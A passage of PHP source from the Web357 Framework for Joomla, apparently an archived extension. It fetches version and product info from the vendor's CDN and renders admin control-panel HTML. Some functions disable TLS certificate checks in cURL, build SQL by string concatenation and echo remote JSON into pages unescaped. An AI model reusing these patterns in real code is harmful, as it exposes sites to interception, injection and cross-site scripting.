?>index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework"> <?php echo Text::_("W357FRM_DOWNLOAD_KEY_UPDATE_BTN")?> </a> </p> </div> <?php } } /** * Get the HTML Product Information Table for Control Panel at the Backend * * @param string $extension (e.g. plg_system_web357framework, com_test) * @param string $extension_real_name (e.g. Fix 404 Error Links) * * @return string */ public static function controlPanelProductInfoHTMLTable($extension, $extension_real_name) { if (empty($extension) || empty($extension_real_name)) { Factory::getApplication()->enqueueMessage("Error getting Product Details! Please, contact us at support@web357.com!", "error"); return false; } // Clean extension name $extension_name = preg_replace('/(plg_system_|plg_user_|plg_authentication_|plg_ajax_|plg_k2_|com_|mod_)/', '', $extension); // e.g. fix404errorlinks, or monthlyarchive /** * Get extension details from the json file */ $json_file = 'https://cdn.web357.com/extension-info/'.$extension_name.'-info.json'; // Check if the file exists or if the file can be accessed $json_data = @file_get_contents($json_file); // Suppress errors using @ and handle them manually if ($json_data === false) { // Error message if file_get_contents fails Factory::getApplication()->enqueueMessage("Error accessing the product details. The file may not exist or be inaccessible. Please contact support@web357.com for assistance.", "error"); return false; } // Decode JSON data $data = json_decode($json_data); if (!isset($data->$extension_name)) { // Error message if data is not found in the JSON file Factory::getApplication()->enqueueMessage("Error getting Product Details. Please, contact us at support@web357.com!", "error"); return false; } // get extension details from json file $item = $data->$extension_name; $extension_type = str_replace('_', ' ', $item->extension_type); $product_image = (str_replace('/administrator', '', Uri::base())).'media/plg_system_web357framework/images/joomla-extensions/'.$extension_name.'.png'; ?> <div> <div> <div style="overflow: hidden;"> <div> <div style="float:right"> <?php if (!empty($item->more_info_url)): ?> <a href="<?php echo $item->more_info_url; ?>" target="_blank" title="<?php echo $extension_real_name; ?>"> <?php endif; ?> <img src="<?php echo $product_image; ?>" alt="<?php echo $extension_real_name; ?>" title="<?php echo $extension_real_name; ?>" width="120" height="200" /> <?php if (!empty($item->more_info_url)): ?> </a> <?php endif; ?> </div> <p style="padding: 10px 15px 0 0;overflow: hidden;"><?php echo $item->description; ?></p> </div> </div> </div> <div> <div class="w357-product-info-buttons w357" style="text-align: center; margin-top: 20px;"> <?php if (!empty($item->live_demo_url)): ?> <a href="<?php echo $item->live_demo_url; ?>" class="btn btn-primary btn-sm mb-2" target="_blank"><?php echo Text::_('W357FRM_LIVE_DEMO'); ?></a> <?php endif; ?> <?php if (!empty($item->more_info_url)): ?> <a href="<?php echo $item->more_info_url; ?>" class="btn btn-success btn-sm mb-2" target="_blank"><?php echo Text::_('W357FRM_PRODUCT_S_PAGE'); ?></a> <?php endif; ?> <?php if (!empty($item->documentation_url)): ?> <a href="<?php echo $item->documentation_url; ?>" class="btn btn-warning btn-sm mb-2" target="_blank"><?php echo Text::_('W357FRM_DOCUMENTATION'); ?></a> <?php endif; ?> <?php if (!empty($item->changelog_url)): ?> <a href="<?php echo $item->changelog_url; ?>" class="btn btn-info btn-sm mb-2" target="_blank"><?php echo Text::_('W357FRM_CHANGELOG'); ?></a> <?php endif; ?> <?php if (!empty($item->support_url)): ?> <a href="<?php echo $item->support_url; ?>" class="btn btn-danger btn-sm mb-2" target="_blank"><?php echo Text::_('W357FRM_SUPPORT'); ?></a> <?php endif; ?> </div> </div> </div> <?php } /** * Get the extension details (version) * * @param string $extension (e.g. plg_system_web357framework, com_test) * * @return object (current_version, current_creationDate, latest_version, latest_creationDate) */ public static function getExtensionDetails($extension) { $extension_clean_name = preg_replace('/(plg_system_|plg_user_|plg_authentication_|plg_ajax_|plg_k2_|com_|mod_)/', '', $extension); if (strpos($extension, 'plg_system_') !== false) { $extension_type = 'plugin'; $plugin_type = 'system'; $extension_clean_name = preg_replace('/(plg_system_)/', '', $extension); } elseif (strpos($extension, 'plg_authentication_') !== false) { $extension_type = 'plugin'; $plugin_type = 'authentication'; $extension_clean_name = preg_replace('/(plg_authentication_)/', '', $extension); } elseif (strpos($extension, 'plg_user_') !== false) { $extension_type = 'plugin'; $plugin_type = 'user'; $extension_clean_name = preg_replace('/(plg_user_)/', '', $extension); } elseif (strpos($extension, 'plg_content_') !== false) { $extension_type = 'plugin'; $plugin_type = 'content'; $extension_clean_name = preg_replace('/(plg_content_)/', '', $extension); } elseif (strpos($extension, 'mod_') !== false) { $extension_type = 'module'; $plugin_type = ''; $extension_clean_name = preg_replace('/(mod_)/', '', $extension); } elseif (strpos($extension, 'com_') !== false) { $extension_type = 'component'; $plugin_type = ''; $extension_clean_name = preg_replace('/(com_)/', '', $extension); } if (empty($extension) || empty($extension_type)) { Factory::getApplication()->enqueueMessage("Error getting Extension Details. Please, contact us at support@web357.com!", "error"); return false; } // Retrieving request data using JInput $jinput = Factory::getApplication()->input; // get current extension's version & creationDate from database $db = Factory::getDBO(); $query = "SELECT manifest_cache " ."FROM #__extensions " ."WHERE element = '".$extension."' and type = '".$extension_type."' " ; $db->setQuery($query); $db->execute(); $manifest = json_decode( $db->loadResult(), true ); $current_version = (!empty($manifest['version'])) ? $manifest['version'] : '1.0.0'; $current_creationDate = (!empty($manifest['creationDate'])) ? $manifest['creationDate'] : '10 Oct 1985'; if (empty($current_version) || empty($current_creationDate)) { Factory::getApplication()->enqueueMessage("Error retrieving extension details from database. Please, contact us at support@web357.com!", "error"); return false; } // Get web357 releases json content $web357_releases_json_url = 'https://cdn.web357.com/extension-info/'.urlencode($extension_clean_name).'-info.json'; $web357_releases_json = ''; if (self::url_exists($web357_releases_json_url)) { if (self::_allowUrlFopen()) { $web357_releases_json = file_get_contents($web357_releases_json_url); $web357_releases_json = json_decode($web357_releases_json); } elseif (self::_isCurl()) // check if extension=php_curl.dll is enabled from php.ini { // cUrl method $ch = curl_init(); $options = array( CURLOPT_SSL_VERIFYPEER => false, // Disable SSL verification CURLOPT_RETURNTRANSFER => true, // // Will return the response, if false it print the response CURLOPT_URL => $web357_releases_json_url, // Set the url CURLOPT_CONNECTTIMEOUT => 120, CURLOPT_TIMEOUT => 120, CURLOPT_MAXREDIRS => 10, ); curl_setopt_array( $ch, $options ); // Add options to array $web357_releases_json = curl_exec($ch); // Execute curl_close($ch); // Closing // get data in a json $web357_releases_json = json_decode($web357_releases_json); } } // Get the latest version of extension, from Web357.com $latest_version = $current_version; $latest_creationDate = $current_creationDate; if (!empty($web357_releases_json)) { if ($web357_releases_json->$extension_clean_name->extension == $extension_clean_name) { $latest_version = $web357_releases_json->$extension_clean_name->version; $latest_creationDate = date("d-M-Y", strtotime($web357_releases_json->$extension_clean_name->date)); } } $extension_details = new \stdClass(); $extension_details->current_version = $current_version; $extension_details->current_creationDate = $current_creationDate; $extension_details->latest_version = $latest_version; $extension_details->latest_creationDate = $latest_creationDate; $extension_details->extension_type = $extension_type; $extension_details->plugin_type = $plugin_type; $extension_details->extension_clean_name = $extension_clean_name; return $extension_details; } /** * Show Footer * * @param string $extension (e.g. plg_system_web357framework, com_test) * @param string $extension_real_name (e.g. Fix 404 Error Links) * * @return array */ public static function showFooter($extension, $extension_real_name) { if (empty($extension) || empty($extension_real_name)) { Factory::getApplication()->enqueueMessage("Error getting Extension Details. Please, contact us at support@web357.com!", "error"); return false; } $extension_details = self::getExtensionDetails($extension); $extension_clean_name = preg_replace('/(plg_system_|plg_user_|plg_authentication_|plg_ajax_|plg_k2_|com_|mod_)/', '', $extension); $juri_base = str_replace('/administrator', '', Uri::base()); // Get the product id $product_id = self::getProductId($extension); $product_id_url_var = (is_numeric($product_id) && $product_id > 0 && !empty($product_id)) ? 'product_id='.$product_id.'&' : ''; $pro_link = 'https://www.web357.com/joomla-pricing?'.$product_id_url_var.'utm_source=CLIENT&utm_medium=CLIENT-ProLink-Backend-Footer-'.$extension_clean_name.'-Web357&utm_content=CLIENT-ProLink-Backend-Footer-'.$extension_clean_name.'&utm_campaign=prolinkbackendfooter-'.strtoupper($extension_clean_name); ?> <div class="center" style="margin-top: 50px; text-align:center;"> <div class="alert alert-default w357-free-version-alert"> This is the <strong>FREE</strong> version of <strong><?php echo $extension_real_name; ?></strong>.<br>For more functionality you can purchase the PRO version.<br><br> <a href="<?php echo $pro_link; ?>" target="_blank" class="btn btn-small btn-danger"> <span class="icon-thumbs-up"></span> Upgrade to Pro!</a> </div> <div class="w357-footer"> <div class="w357-footer-extension"> <?php $product_link = '//www.web357.com/?extension='.$extension_clean_name.'&utm_source=CLIENT&utm_medium=CLIENT-ProLink-Backend-Footer-Product-link-'.$extension_clean_name.'-Web357&utm_content=CLIENT-ProLink-Backend-Footer-Product-link-'.$extension_clean_name.'&utm_campaign=prolinkbackendfooterproductlink-'.strtoupper($extension_clean_name); ?> <img src="<?php echo $juri_base; ?>media/plg_system_web357framework/images/<?php echo $extension_clean_name; ?>.png" width="24" height="24" alt="<?php echo $extension_real_name; ?>"> <a href="<?php echo $product_link; ?>" target="_blank"><?php echo $extension_real_name; ?></a> (Free version) v<?php echo $extension_details->current_version; ?> (<?php echo $extension_details->current_creationDate; ?>) </div> <?php $logo_link = '//www.web357.com/?utm_source=CLIENT&utm_medium=CLIENT-ProLink-Backend-Footer-Web357-logo-'.$extension_clean_name.'-Web357&utm_content=CLIENT-ProLink-Backend-Footer-Web357-logo-'.$extension_clean_name.'&utm_campaign=prolinkbackendfooterweb357logo-'.strtoupper($extension_clean_name); ?> <div class="w357-footer-logo"> Developed by <a href="<?php echo $logo_link; ?>" target="_blank"> <img src="<?php echo $juri_base; ?>media/plg_system_web357framework/images/web357-logo-small.png" width="100" height="31" alt="Web357 Logo"> </a> </div> <div class="w357-footer-copyright">Copyright © <?php echo date('Y'); ?> Web357 - All Rights Reserved.</div> </div> </div> <?php } /** * Update Checker * * @param string $extension (e.g. plg_system_web357framework, com_test) * @param string $extension_real_name (e.g. Fix 404 Error Links) * * @return array */ public static function updateChecker($extension, $extension_real_name) { if (empty($extension) || empty($extension_real_name)) { Factory::getApplication()->enqueueMessage("Error getting Extension Details. Please, contact us at support@web357.com!", "error"); return false; } $extension_details = self::getExtensionDetails($extension); $current_version = preg_replace('/[A-Za-z-]/', '', $extension_details->current_version); $latest_version = preg_replace('/[A-Za-z-]/', '', $extension_details->latest_version); if (version_compare($current_version, $latest_version, 'lt') && strpos($extension_details->latest_version, 'beta') == false) // show the notification only for stable versions { // latest's release URL $real_ext_name_with_dashes = Text::_($extension_real_name); $real_ext_name_with_dashes = str_replace(" (Pro version)", "", $real_ext_name_with_dashes); $real_ext_name_with_dashes = str_replace(" (Pro version)", "", $real_ext_name_with_dashes); $real_ext_name_with_dashes = str_replace(" (Free version)", "", $real_ext_name_with_dashes); $real_ext_name_with_dashes = str_replace(" PRO", "", $real_ext_name_with_dashes); $real_ext_name_with_dashes = str_replace(" FREE", "", $real_ext_name_with_dashes); $real_ext_name_with_dashes = str_replace("System - ", "", $real_ext_name_with_dashes); $real_ext_name_with_dashes = str_replace("Authentication - ", "", $real_ext_name_with_dashes); if ($real_ext_name_with_dashes != 'Web357 Framework') { $real_ext_name_with_dashes = str_replace("Web357 ", "", $real_ext_name_with_dashes); } $real_ext_name_with_dashes = strtolower(str_replace(" ", "-", $real_ext_name_with_dashes)); $extension_clean_name = self::getProductSlug($extension_details->extension_clean_name); $latest_release_url = 'https://www.web357.com/'.$extension_clean_name.'/changelog'; ?> <div class="alert alert-danger"> <h3><?php echo Text::_("New version available!") ?></h3> <p> <span class="icon-notification"></span> An updated version of <strong><?php echo $extension_real_name; ?> (v<?php echo $extension_details->latest_version; ?>)</strong> is available for installation. <br><br> <a href="index.php?option=com_installer&view=update" class="btn btn-success text-white"> <span class="icon-thumbs-up"></span> Update to v<?php echo $extension_details->latest_version; ?></a> <a href="<?php echo $latest_release_url; ?>" target="_blank" class="btn btn-secondary text-white"> <span class="icon-info"></span> View Changelog</a> </p> </div> <?php } } /** * Get Changelog's URL * * @param string $extension (e.g. plg_system_web357framework, com_test) * @param string $extension_real_name (e.g. Fix 404 Error Links) * * @return string */ public static function getChangelogURL($extension_real_name) { if (empty($extension_real_name)) { Factory::getApplication()->enqueueMessage("Error getting Extension Details. Please, contact us at support@web357.com!", "error"); return false; } $real_ext_name_with_dashes = Text::_($extension_real_name); $real_ext_name_with_dashes = str_replace(" (Pro version)", "", $real_ext_name_with_dashes); $real_ext_name_with_dashes = str_replace(" (Pro version)", "", $real_ext_name_with_dashes); $real_ext_name_with_dashes = str_replace(" (Free version)", "", $real_ext_name_with_dashes); $real_ext_name_with_dashes = str_replace(" PRO", "", $real_ext_name_with_dashes); $real_ext_name_with_dashes = str_replace(" FREE", "", $real_ext_name_with_dashes); $real_ext_name_with_dashes = str_replace("System - ", "", $real_ext_name_with_dashes); $real_ext_name_with_dashes = str_replace("Authentication - ", "", $real_ext_name_with_dashes); if ($real_ext_name_with_dashes != 'Web357 Framework') { $real_ext_name_with_dashes = str_replace("Web357 ", "", $real_ext_name_with_dashes); } $real_ext_name_with_dashes = strtolower(str_replace(" ", "-", $real_ext_name_with_dashes)); $changelog_url = '//www.web357.com/'.$real_ext_name_with_dashes.'#changelog'; // e.g. support-hours return $changelog_url; } /** * Shortener URL * It gets only the first 10 characters and the last 10 characters of URL that has over 20 characters * * @param string $url * @param int $max_char * * @return string */ public static function shortenURL($url, $max_char = 60) { if (strlen($url) > $max_char) { $short_url = substr($url, 0, ($max_char/2)) . '...' .substr($url, strlen($url)-($max_char/2)); return $short_url; } return $url; } /** * Get the product ID based on the extension name. * * This function takes an extension name as input, cleans it by removing certain prefixes, * and then returns the corresponding product ID based on the cleaned extension name. * * @param string $extension The name of the extension. * @return int The product ID associated with the given extension name. Returns 0 if the extension name is empty or not recognized. */ public static function getProductId($extension = '') { if (empty($extension)) { return 0; } $extension_clean_name = preg_replace('/(plg_system_|plg_user_|plg_authentication_|plg_ajax_|plg_k2_|com_|mod_)/', '', $extension); // Get product id switch ($extension_clean_name) { case 'monthlyarchive': $product_id = 3581; break; case 'loginasuser': $product_id = 1934; break; case 'cookiespolicynotificationbar': $product_id = 3489; break; case 'fix404errorlinks': $product_id = 3546; break; case 'failedloginattempts': $product_id = 3533; break; case 'vmsales': $product_id = 3621; break; case 'supporthours': $product_id = 3601; break; case 'contactinfo': $product_id = 3469; break; case 'k2multiplecategories': $product_id = 3566; break; case 'multiplecategoriesfork2': $product_id = 3566; break; case 'limitactivelogins': $product_id = 197435; break; case 'manageunusedimages': $product_id = 197435; break; case 'jmaillog': $product_id = 209157; break; case 'jlogs': $product_id = 198890; break; default: $product_id = 0; break; } return $product_id; } /** * Get the product slug for a given extension. * * @param string $extension The name of the extension for which to get the product slug. * @return string The product slug associated with the given extension. */ public static function getProductSlug($extension = '') { if (empty($extension)) { return ''; } $extension_clean_name = preg_replace('/(plg_system_|plg_user_|plg_authentication_|plg_ajax_|plg_k2_|com_|mod_)/', '', $extension); // Get product slug switch ($extension_clean_name) { case 'cookiespolicynotificationbar': $product_slug = 'cookies-policy-notification-bar-joomla-plugin'; break; case 'jmaillog': $product_slug = 'jmail-log-for-joomla'; break; case 'loginasuser': $product_slug = 'login-as-user-joomla-component'; break; case 'monthlyarchive': $product_slug = 'monthly-archive-joomla-component-module'; break; case 'fix404errorlinks': $product_slug = 'fix-404-error-links-joomla-component'; break; case 'limitactivelogins': $product_slug = 'limit-active-logins-extension-for-joomla'; break; case 'jlogs': $product_slug = 'jlogs-extension-for-joomla'; break; case 'failedloginattempts': $product_slug = 'failed-login-attempts-joomla-plugin'; break; default: $product_slug = ''; break; } return $product_slug; } }Web357Framework/Helper/WebAssetManagerHelper.php000060400000013741151721520520015500 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ namespace Web357Framework\Helper; use Joomla\CMS\Factory; use Joomla\CMS\Uri\Uri; defined('_JEXEC') or die(); /** * * A helper class for managing web assets (CSS, JS) in Joomla. * This class provides a simplified interface for registering assets * with Joomla's WebAssetManager. * */ class WebAssetManagerHelper { /** @var string */ protected static $baseMediaPath; /** @var string */ protected static $joomlaMajorClassname; public function __construct() { if (!static::$baseMediaPath) { static::$baseMediaPath = (version_compare(JVERSION, '4.3', '>=') ? '' : Uri::root(true) . '/') . 'media'; } if (!static::$joomlaMajorClassname) { $versionParts = explode('.', JVERSION); static::$joomlaMajorClassname = 'web357-j' . $versionParts[0] . 'x'; } } /** * Gets the full media path by appending the provided URL to the base media path. * * @param string $url The URL to append to the base media path. * @return string The full media path. */ public function getBaseMediaPath(string $url): string { return static::$baseMediaPath . $url; } /** * Returns Joomla Class * @param string $additionalClasses * @return string */ public function getJoomlaVersionClass(string $additionalClasses = ''): string { return rtrim(static::$joomlaMajorClassname . ' ' . $additionalClasses, ' '); } /** * Registers and uses a script asset. * * @param string $assetName The name of the asset. * @param string $uri The URI for the asset. * @param array $options Additional options for the asset. * @param array $attributes Attributes for the asset. * @param array $dependencies * @return WebAssetManagerHelper */ public function registerScript(string $assetName, string $uri = '', array $options = [], array $attributes = [], array $dependencies = []) { if (version_compare(JVERSION, '4.3', '>=')) { /** @var \Joomla\CMS\WebAsset\WebAssetManager $assetManager */ $assetManager = Factory::getApplication()->getDocument()->getWebAssetManager(); $assetManager->registerAndUseScript($assetName, $uri, $options, $attributes, $dependencies); } else { /* @TODO (Joomla3 compatibility): Dependency injection */ /** @var \Joomla\CMS\Document\HtmlDocument $htmlDocument */ $htmlDocument = Factory::getApplication()->getDocument(); $htmlDocument->addScript($uri, $options, $attributes); } return $this; } /** * Registers and uses a style asset. * * @param string $assetName The name of the asset. * @param string $uri The URI for the asset. * @param array $options Additional options for the asset. * @param array $attributes Attributes for the asset. * @param array $dependencies * @return WebAssetManagerHelper */ public function registerStyle(string $assetName, string $uri = '', array $options = [], array $attributes = [], array $dependencies = []) { if (version_compare(JVERSION, '4.3', '>=')) { /** @var \Joomla\CMS\WebAsset\WebAssetManager $assetManager */ $assetManager = Factory::getApplication()->getDocument()->getWebAssetManager(); $assetManager->registerAndUseStyle($assetName, $uri, $options, $attributes); } else { /* @TODO (Joomla3 compatibility): Dependency injection */ /** @var \Joomla\CMS\Document\HtmlDocument $htmlDocument */ $htmlDocument = Factory::getApplication()->getDocument(); $htmlDocument->addStyleSheet($uri, $options, $attributes); } return $this; } /** * Registers options to JS (available from Joomla.getOptions('web35.select2')) * * @param string $key Name in Storage * @param mixed $options Scrip options as array or string * @param bool $merge Whether merge with existing (true) or replace (false) * @return WebAssetManagerHelper */ public function addScriptOptions($key, $options, $merge = true) { /** @var \Joomla\CMS\Document\HtmlDocument $htmlDocument */ $htmlDocument = version_compare(JVERSION, '4.3', '>=') ? Factory::getApplication()->getDocument() : Factory::getDocument(); $htmlDocument->addScriptOptions($key, $options, $merge); return $this; } /** * Registers and uses an inline script. * * @param string $content The content of the script. * @param array $options Additional options for the script. * @param array $attributes Attributes for the script. * @param array $dependencies * @return WebAssetManagerHelper */ public function addInlineScript($content, array $options = [], array $attributes = [], array $dependencies = []) { if (version_compare(JVERSION, '4.3', '>=')) { /** @var \Joomla\CMS\WebAsset\WebAssetManager $assetManager */ $assetManager = Factory::getApplication()->getDocument()->getWebAssetManager(); $assetManager->addInlineScript($content, $options, $attributes, $dependencies); } else { /* @TODO (Joomla3 compatibility): Dependency injection */ /** @var \Joomla\CMS\Document\HtmlDocument $htmlDocument */ $htmlDocument = Factory::getApplication()->getDocument(); $htmlDocument->addScriptDeclaration($content); } } }Web357Framework/Asset/AssetInterface.php000060400000002320151721520520014057 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ namespace Web357Framework\Asset; defined('_JEXEC') or die(); /** * This interface defines the contract for asset classes. Any class implementing this interface * must provide a method to register and use the asset. */ interface AssetInterface { /** * Registers and uses the asset * * This method is responsible for registering the asset (e.g., CSS or JS) with the system * and marking it for use on the page. Implementations should handle the registration * process, including dependencies, options, and attributes. * * @param array $params * @return void */ public static function register(array $params = []): void; }Web357Framework/Asset/AssetAbstract.php000060400000003400151721520520013722 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ namespace Web357Framework\Asset; use Web357Framework\Helper\WebAssetManagerHelper; defined('_JEXEC') or die(); /** * * This abstract class provides a base implementation for asset classes. * It implements the AssetInterface and can be extended by concrete asset classes * to provide specific functionality for registering and using assets. * */ abstract class AssetAbstract implements AssetInterface { /** @var WebAssetManagerHelper */ protected $webAssetManagerHelper; /** @var array */ protected static $registered = []; /** * Asset initialization * @return void */ public function init(): void { $this->webAssetManagerHelper = new WebAssetManagerHelper(); $this->registerAssets(); } /** * Implements the register functionality * @return void */ abstract protected function registerAssets(): void; /** * Register Asset to Joomla! * @param array $params * @return void */ public static function register(array $params = []): void { if (!isset(static::$registered[static::class])) { static::$registered[static::class] = true; (new static($params))->init(); } } }Web357Framework/Asset/Select2Asset.php000060400000004115151721520520013464 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ namespace Web357Framework\Asset; use Joomla\CMS\Language\Text; defined('_JEXEC') or die(); class Select2Asset extends AssetAbstract { /** * {@inheritdoc} */ protected function registerAssets(): void { /* current version: Select2 4.1.0-rc.0 */ $this->webAssetManagerHelper ->registerStyle('web357.framework.css.select2.style', $this->webAssetManagerHelper->getBaseMediaPath('/plg_system_web357framework/js/libs/select2/select2.min.css')) ->registerStyle('web357.framework.css.select2.web357', $this->webAssetManagerHelper->getBaseMediaPath('/plg_system_web357framework/js/libs/select2/web357-select-2.min.css')) ->registerScript('web357.framework.js.select2.script', $this->webAssetManagerHelper->getBaseMediaPath('/plg_system_web357framework/js/libs/select2/select2.full.min.js'), [], [], ['jquery']) ->registerScript('web357.framework.js.select2.web357', $this->webAssetManagerHelper->getBaseMediaPath('/plg_system_web357framework/js/libs/select2/web357-select-2.min.js'), [], [], ['web357.framework.js.select2.script']) ->addScriptOptions('web35.select2', [ 'containerClass' => $this->webAssetManagerHelper->getJoomlaVersionClass('web357-select2-container'), 'dropdownClass' => $this->webAssetManagerHelper->getJoomlaVersionClass('web357-select2-dropdown'), 'selectOptionText' => Text::_('JGLOBAL_TYPE_OR_SELECT_SOME_OPTIONS'), 'selectAllText' => Text::_('JGLOBAL_SELECTION_ALL'), ]); } }Web357Framework/VersionChecker.php000060400000022502151721520520013016 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ namespace Web357Framework; defined('_JEXEC') or die; use Joomla\CMS\Language\Text; use Joomla\CMS\Uri\Uri; use Joomla\CMS\Factory; use Joomla\CMS\Version; class VersionChecker { public static function outputMessage($element) { // Retrieving request data using JInput $jinput = Factory::getApplication()->input; // get extension's details $position = $element['position']; // version's position (top + bottom) $extension_type_single = $element['extension_type']; // component, module, plugin $extension_type = $element['extension_type'].'s'; // components, modules, plugins $extension_name = $element['extension_name']; // mod_name, com_name, plg_system_name $plugin_type = $element['plugin_type']; // system, authentication, content etc. $plugin_folder = (!empty($plugin_type) && $plugin_type != '') ? $plugin_type.'/' : ''; $real_name = $element['real_name']; $url_slug = $element['url_slug']; if (empty($extension_type) || empty($extension_name)): Factory::getApplication()->enqueueMessage("Error in XML. Please, contact us at support@web357.com!", "error"); return false; endif; // Get Joomla's version $jversion = new Version(); $short_version = explode('.', $jversion->getShortVersion()); // 3.8.10 $mini_version = $short_version[0].'.'.$short_version[1]; // 3.8 $j25 = false; $j3x = false; if (version_compare( $mini_version, "2.5", "<=")): // j25 $w357_ext_uptodate_class = 'w357_ext_uptodate_j25'; $j25 = true; else: // j3x $w357_ext_uptodate_class = 'w357_ext_uptodate_j3x'; $j3x = true; endif; // get current extension's version & creationDate from database $db = Factory::getDBO(); $query = "SELECT manifest_cache " ."FROM #__extensions " ."WHERE element LIKE '%".$extension_name."%' and type = '".$extension_type_single."' " ; $db->setQuery($query); $db->execute(); $manifest = json_decode( $db->loadResult(), true ); $current_version = (!empty($manifest['version'])) ? $manifest['version'] : '1.0.0'; $current_creationDate = (!empty($manifest['creationDate'])) ? $manifest['creationDate'] : '10 Oct 1985'; // Get extension name if (strpos($extension_name, '_') !== false) { $extension_name_clean = explode('_', $extension_name); $extension_name = $extension_name_clean[1]; // e.g. get only supporthours, instead of mod_supporhours } // Get web357 releases json content $web357_releases_json_url = 'https://cdn.web357.com/extension-info/'.urlencode($extension_name).'-info.json'; $web357_releases_json = ''; if (self::url_exists($web357_releases_json_url)) { if (self::_allowUrlFopen()) { $web357_releases_json = file_get_contents($web357_releases_json_url); $web357_releases_json = json_decode($web357_releases_json); } elseif (self::_isCurl()) // check if extension=php_curl.dll is enabled from php.ini { // cUrl method $ch = curl_init(); $options = array( CURLOPT_SSL_VERIFYPEER => false, // Disable SSL verification CURLOPT_RETURNTRANSFER => true, // // Will return the response, if false it print the response CURLOPT_URL => $web357_releases_json_url, // Set the url CURLOPT_CONNECTTIMEOUT => 120, CURLOPT_TIMEOUT => 120, CURLOPT_MAXREDIRS => 10, ); curl_setopt_array( $ch, $options ); // Add options to array $web357_releases_json = curl_exec($ch); // Execute curl_close($ch); // Closing // get data in a json $web357_releases_json = json_decode($web357_releases_json); } } // Get the latest version of extension, from Web357.com $latest_version = $current_version; $latest_creationDate = $current_creationDate; if (!empty($web357_releases_json)) { if ($web357_releases_json->$extension_name->extension == $extension_name) { $latest_version = $web357_releases_json->$extension_name->version; $latest_creationDate = date("d-M-Y", strtotime($web357_releases_json->$extension_name->date)); } } // get changelog's url $real_ext_name_with_dashes = Text::_($real_name); $real_ext_name_with_dashes = str_replace(" (Pro version)", "", $real_ext_name_with_dashes); $real_ext_name_with_dashes = str_replace(" (Pro version)", "", $real_ext_name_with_dashes); $real_ext_name_with_dashes = str_replace(" (Free version)", "", $real_ext_name_with_dashes); $real_ext_name_with_dashes = str_replace(" PRO", "", $real_ext_name_with_dashes); $real_ext_name_with_dashes = str_replace(" FREE", "", $real_ext_name_with_dashes); $real_ext_name_with_dashes = str_replace("System - ", "", $real_ext_name_with_dashes); $real_ext_name_with_dashes = str_replace("Authentication - ", "", $real_ext_name_with_dashes); $real_ext_name_with_dashes = str_replace("User - ", "", $real_ext_name_with_dashes); if ($real_ext_name_with_dashes != 'Web357 Framework') { $real_ext_name_with_dashes = str_replace("Web357 ", "", $real_ext_name_with_dashes); } $real_ext_name_with_dashes = strtolower(str_replace(" ", "-", $real_ext_name_with_dashes)); $url_slug = (!empty($url_slug)) ? $url_slug : $real_ext_name_with_dashes; $changelog_url = '//www.web357.com/'.$url_slug.'/changelog'; // e.g. support-hours // output $html = ''; $html .= '<div>'; if (!empty($latest_version) && !empty($latest_creationDate)) { if ($current_version == $latest_version/* || strpos($current_version, 'beta' ) !== false*/) { $html .= '<div class="w357_ext_uptodate '.$jinput->get('option').' '.$w357_ext_uptodate_class.'">'; $html .= '<div>'.Text::_('W357FRM_YOUR_CURRENT_VERSION_IS').': <a title="'.Text::_('W357FRM_VIEW_THE_CHANGELOG').'" href="'.$changelog_url.'" class="btn_view_changelog" target="_blank">'.$current_version.' ('.$current_creationDate.')</a><br />'.Text::_('W357FRM_UP_TO_DATE').'</div>'; $html .= '</div>'; } else { $html .= '<div class="w357_ext_notuptodate '.$jinput->get('option').'">'.Text::_('W357FRM_YOUR_CURRENT_VERSION_IS').': '.$current_version.' ('.$current_creationDate.').<br /><span>'.Text::_('W357FRM_UPDATE_TO_THE_LATEST_VERSION').' '.$latest_version.' ('.$latest_creationDate.')'.' {<a href="'.$changelog_url.'" target="_blank">'.Text::_('W357FRM_VIEW_THE_CHANGELOG').'</a>}.</span> <br /> <a href="index.php?option=com_installer&view=update">'.Text::_('W357FRM_UPDATE_VIA_THE_JOOMLA_UPDATE_MANAGER').'</a> '.Text::_('W357FRM_OR').' <a href="//www.web357.com/my-account/downloads/" target="_blank">'.Text::_('W357FRM_GO_TO_DOWNLOAD_AREA').'</a> </div>'; } } else { $html .= '<div class="w357_ext_uptodate '.$jinput->get('option').'">'.Text::_('W357FRM_UP_TO_DATE').'</div>'; } $html .= '</div>'; // get joomla version for javascript file if (version_compare( $mini_version, "4.0", ">=")): // j4 $js_jversion = 'j4x'; elseif (version_compare( $mini_version, "3.0", ">=")): // j3 $js_jversion = 'j3x'; elseif (version_compare( $mini_version, "2.5", ">=")): // j25 $js_jversion 